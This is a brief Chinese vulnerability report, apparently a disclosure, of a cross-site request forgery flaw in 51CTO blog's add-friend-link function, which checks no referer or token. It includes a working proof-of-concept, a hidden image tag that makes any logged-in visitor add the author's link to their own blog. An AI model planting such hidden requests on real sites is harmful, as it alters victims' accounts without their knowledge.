添加友情链接没验证referer token利用条件: 已登录过51cto直接在浏览器访问如下POC poc: <img src="http://x007.blog.51cto.com//mod/
.
添加友情链接没验证referer token
利用条件:
已登录过51cto
直接在浏览器访问如下POC
poc:
<img src="http://x007.blog.51cto.com//mod/edit_flink.php?type=addflink&uid=6330498&flink=http://x007.blog.51cto.com/" style="display:none;">
当别人访问之后可添加我的友情到他人博客。
结果:
